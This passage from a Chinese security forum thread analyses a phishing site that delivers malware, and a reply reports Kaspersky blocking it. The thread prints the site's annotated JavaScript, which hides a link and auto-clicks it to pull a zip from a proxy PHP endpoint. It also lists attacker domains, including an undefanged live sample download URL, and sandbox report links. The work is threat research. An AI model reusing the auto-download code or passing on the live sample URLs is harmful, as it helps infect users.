  4. // 判断当前浏览器是否为 Chrome。检查用户字符串中是否含有 "Chrome",同时供应商字符串中是否含有 "Google Inc"
  5. function isChrome() {
  6.   return (
  7.     /Chrome/.test(navigator.userAgent) && /Google Inc/.test(navigator.vendor)
  8.   );
  9. }

  10. // Get domain from referrer
  11. // 获取来源域名
  12. // 获取当前页面的来源地址(document.referrer),即用户从哪个页面跳转而来
  13. // 如果能获取到 referrer,则提取其主机名(例如 example.com);否则返回默认字符串 "launcher"
  14. const getDomain = () => {
  15.   const referrer = document.referrer;
  16.   console.log("getDomain - debug referrer:", referrer);
  17.   return document.referrer ? new URL(referrer).hostname : "launcher";
  18. };

  19. // Get last path segment from referrer (e.g. "https://domain/.some/this_part" -> "this_part")
  20. // 获取来源路径的最后一段
  21. // 从来源 URL 的路径中提取最后一段有效部分
  22. // 如果没有 referrer,返回 "launcher"
  23. // 如果最后一段恰好是 redirect.html 或 redirect(可能是中转页面的名称),则也返回 "launcher",避免暴露实际跳转路径
  24. const getPathSegment = () => {
  25.   const referrer = document.referrer;
  26.   console.log("getPathSegment - debug referrer:", referrer);
  27.   if (!referrer) return "launcher";
  28.   const segments = new URL(referrer).pathname.split("/").filter(Boolean);
  29.   const segment = segments.length ? segments[segments.length - 1] : "launcher";

  30.   if (segment === "redirect.html" || segment === "redirect") {
  31.     return "launcher";
  32.   }

  33.   return segment;
  34. };

  35. // 从 URL 参数 n 获取统计标识
  36. // 如果 n 不存在或格式不匹配(只允许字母、数字、下划线、点、横线),则返回默认值 "launcher"
  37. const getStatisticName = () => {
  38.   const params = new URLSearchParams(window.location.search);
  39.   const n = params.get("n");

  40.   if (n && /^[\w.-]+$/.test(n)) {
  41.     return n;
  42.   }

  43.   return "launcher";
  44. };

  45. // 获取下载标识名
  46. // 与 getStatisticName 完全相同的逻辑,从参数 n 获取下载标识,默认也是 "launcher"
  47. // n 参数同时决定了统计分类和要下载的文件“域”(domain 参数),可能将 n 用作一种用户/渠道标识符
  48. const getDownloadName = () => {
  49.   const params = new URLSearchParams(window.location.search);
  50.   const n = params.get("n");

  51.   if (n && /^[\w.-]+$/.test(n)) {
  52.     return n;
  53.   }

  54.   return "launcher";
  55. };

  56. // Start file download function
  57. // 核心恶意下载触发
  58. // 用 getDownloadName() 获得 domain 标识(实际是来自 URL 参数 n 或默认 "launcher")
  59. // 在浏览器的 localStorage 中检查是否已为该 domain 生成过版本号,如果没有则随机生成一个三位版本号(例如 _1.2.3)并存储
  60. // 构造 archiveProxy.php 下载链接,domain 下载标识,version 随机生成的版本号,id:从调用方传入(固定为 6,可能代表一种恶意载荷编号)
  61. // 动态创建一个隐藏的 <a> 标签,设置 href 为构造的链接,download 属性为空(促使浏览器下载而非导航),然后模拟点击,最后移除该元素
  62. function startFileCreationAndDownload(id) {
  63.   try {
  64.     const domain = getDownloadName();
  65.     const versionKey = `user_version_${domain}`;
  66.     let randomVersion = localStorage.getItem(versionKey);

  67.     if (!randomVersion) {
  68.       randomVersion = `_${Math.floor(Math.random() * 10)}.${Math.floor(
  69.         Math.random() * 10,
  70.       )}.${Math.floor(Math.random() * 10)}`;
  71.       localStorage.setItem(versionKey, randomVersion);
  72.     }

  73.     const url = `archiveProxy.php?domain=${domain}&version=${randomVersion}&id=${id}`;

  74.     const a = document.createElement("a");
  75.     a.href = url;
  76.     a.download = "";
  77.     a.style.display = "none";
  78.     document.body.appendChild(a);
  79.     a.click();
  80.     document.body.removeChild(a);
  81.   } catch (error) {
  82.     console.error(error);
  83.   }
  84. }

  85. // Function to send statistics
  86. // 发送统计信息
  87. function sendStatistics(domain, id) {
  88.   const storageKey = `stats_sent_${id}_${domain}`;
  89.   const today = new Date().toDateString();

  90. // 若今天已发送过,则不再重复发送
  91.   if (localStorage.getItem(storageKey) === today) {
  92.     console.log("Stats already sent today for this stream and domain");
  93.     return;
  94.   }

  95.   const data = {
  96.     id,
  97.     domain,
  98.   };

  99.   fetch("statProxy.php", {
  100.     method: "POST",
  101.     headers: {
  102.       "Content-Type": "application/json",
  103.     },
  104.     body: JSON.stringify(data),
  105.   })
  106.     .then(async (response) => {
  107.       const data = await response.json();
  108.       if (!response.ok || data.status !== "stats_sent") {
  109.         throw new Error(data.message || `Statistics request failed: HTTP ${response.status}`);
  110.       }
  111.       return data;
  112.     })
  113.     .then((data) => {
  114.       console.log("Stats sent:", data);
  115.       localStorage.setItem(storageKey, today);        // 记录今天已发送
  116.     })
  117.     .catch((error) => console.error("Error sending stats:", error));
  118. }
复制代码
下载预备
  1. https://nooraljorany[.]com/statProxy.php

  2. POST
  3. {
  4.     "id": 6,
  5.     "domain": "launcher"
  6. }

  7. 响应
  8. {
  9.     "status": "stats_sent"
  10. }
复制代码
正式下载
  1. https://nooraljorany[.]com/archiveProxy.php?domain=launcher&version=_1.2.3&id=6

  2. 响应
  3. server: nginx
  4. content-type: application/zip
  5. content-disposition: attachment; filename="launcher_1.2.3.zip"
复制代码

外壳脚本
https://s.threatbook.com/report/url/ae9d0a1afc87e73fc5e7e7f3d82ef431
https://s.threatbook.com/report/file/d2ce645c484f3d2295c5966b279ea1f1c6fd0080e5b9afd9a1f820f90c7d8917

交互脚本
https://s.threatbook.com/report/url/0f8a8caeea49c16aff23bf95434aca09

绑定下载
https://s.threatbook.com/report/url/5f935825880895a41cdcad6d200bb69d

拼接后端
https://s.threatbook.com/report/url/a5b0540b848caaf7c705e677093b9aea

请求接口
https://s.threatbook.com/report/url/8ee0580d2ebe13a198399a4f344807b8
https://s.threatbook.com/report/url/da8f244d7cd0d2fae4ae9be67a282bb8

首次指向
https://s.threatbook.com/report/url/eb5dc9f5724d9abaaa5c06e858287e53
https://s.threatbook.com/report/file/c7c3674bfde0077dfbe4fe021989c442f03dcc90f34e5f8d15f95a6ae57abe83

套娃指向
https://s.threatbook.com/report/url/145a551bb6cd65fe5a632a3a3e6c40c5
https://s.threatbook.com/report/file/00fc470891384d031d45e71c9c5c6cc85d043c189d0fb5cdf91404aa97345aa0

下载引导
https://s.threatbook.com/report/url/e0569818c0dac62e8ae4750d2003942d
https://s.threatbook.com/report/file/b9095e6f4b5593b9e06c8517f5eaaaf84b0e3d8b3fadce78db2497178edab7e2

失效下载
https://s.threatbook.com/report/url/cd1f7b9f02b386fac301de0afb41adfe
https://s.threatbook.com/report/file/7725560cea4573bf45852260272119ad2eef3e8eba27b498db8315c1eb9d226d

再次套娃
https://s.threatbook.com/report/url/e1d24c9bb2b76906cf086afc032ea372

落地判断
https://s.threatbook.com/report/url/36b155a8c225fc2a53afb149d0b84657

前端落地
https://s.threatbook.com/report/url/a109bbd875b1c592ca0864fa87d23f22

载入脚本
https://s.threatbook.com/report/url/0e9008c2b2785e1ca2729335ca7f8fdc

下载预备
https://s.threatbook.com/report/url/561e2b2b0cceeab6f4cbede8c4b52fcb

正式下载
https://s.threatbook.com/report/url/013ace91eaa7e78c264038617a9c4135
https://s.threatbook.com/report/file/cfe6b781c5ac610d169b3854136cf6c8d9305fb66e8edaf76ea7d9e0418e016b

C2接口
https://s.threatbook.com/report/url/c60542292b10924d7d974a6803d0c8cf
https://s.threatbook.com/report/url/d346f5b885a8900fb7915ff21fbaabd6

访问重放HAR
https://virusscan.jotti.org/zh-CN/filescanjob/pj2w1ig8gx
https://sandbox.ti.qianxin.com/sandbox/page/detail?type=file&id=AZ-4YBM3ONZSmF3-yvFn
https://virus.cverc.org.cn/#/entirety/file/searchResult?hash=e95fb5be8e0d62451d29ee0e9ad14799
https://www.virscan.org/report/fa2f33b8e14e377ab8b20e8454005b15366a81a5d737e20351e7efb67e3e2d12
https://www.virustotal.com/gui/file/fa2f33b8e14e377ab8b20e8454005b15366a81a5d737e20351e7efb67e3e2d12
https://s.threatbook.com/report/file/fa2f33b8e14e377ab8b20e8454005b15366a81a5d737e20351e7efb67e3e2d12
https://sandbox.qianxin.com/tq/report/toNewReport.do?rid=77bba1e619dbf3b4e2e7852af7bee6a6&sk=50186550
https://opentip.kaspersky.com/FA2F33B8E14E377AB8B20E8454005B15366A81A5D737E20351E7EFB67E3E2D12/results?tab=upload

下载样本
https://virusscan.jotti.org/zh-CN/filescanjob/36acl03otv
https://sandbox.ti.qianxin.com/sandbox/page/detail?type=file&id=AZ-7Zkg9ONZSmF3-y4C-
https://www.virustotal.com/gui/file/3a46d3be1940b96eb328451a55a684aaea2fa8960a9dbfe76be4b89b7efc3def
https://s.threatbook.com/report/file/3a46d3be1940b96eb328451a55a684aaea2fa8960a9dbfe76be4b89b7efc3def
https://opentip.kaspersky.com/3A46D3BE1940B96EB328451A55A684AAEA2FA8960A9DBFE76BE4B89B7EFC3DEF/results?tab=upload

访问重放HAR
https://virusscan.jotti.org/zh-CN/filescanjob/wr7no57216
https://sandbox.ti.qianxin.com/sandbox/page/detail?type=file&id=AZ-7dguEVo2htHHskdr_
https://virus.cverc.org.cn/#/entirety/file/searchResult?hash=338709fc18b6b59f72e260363f6570d8
https://www.virscan.org/report/b0c7a1c24baddda4e3b900b6689efe3a89141ab61d77988842cbaa4a366b3817
https://www.virustotal.com/gui/file/b0c7a1c24baddda4e3b900b6689efe3a89141ab61d77988842cbaa4a366b3817
https://sandbox.qianxin.com/tq/report/toNewReport.do?rid=15f6f3c9e2e6f4e759068500ec53b992&sk=40651271
https://s.threatbook.com/report/file/b0c7a1c24baddda4e3b900b6689efe3a89141ab61d77988842cbaa4a366b3817
https://opentip.kaspersky.com/B0C7A1C24BADDDA4E3B900B6689EFE3A89141AB61D77988842CBAA4A366B3817/results?tab=upload

样本(钓鱼提供)
提取码:无,解压码:无
  1. https://fluentcleaner.org/download/FluentCleaner-Setup.exe

  2. 很可惜,已失效,目前返回404静态网页
复制代码
样本(钓鱼提供)
提取码:无,解压码:无
  1. https://nooraljorany.com/archiveProxy.php?domain=launcher&version=_7.9.0&id=6
复制代码
fdsax
发表于 2026-8-5 19:17:18 | 显示全部楼层
本帖最后由 fdsax 于 2026-8-5 19:32 编辑

卡巴拦截第一个网站,第二个下载监控杀dll
Snipaste_2026-08-05_19-13-52.png
Snipaste_2026-08-05_19-31-02.png
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2026-10-20 05:13 , Processed in 0.091940 second(s), 4 queries , Redis On.

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表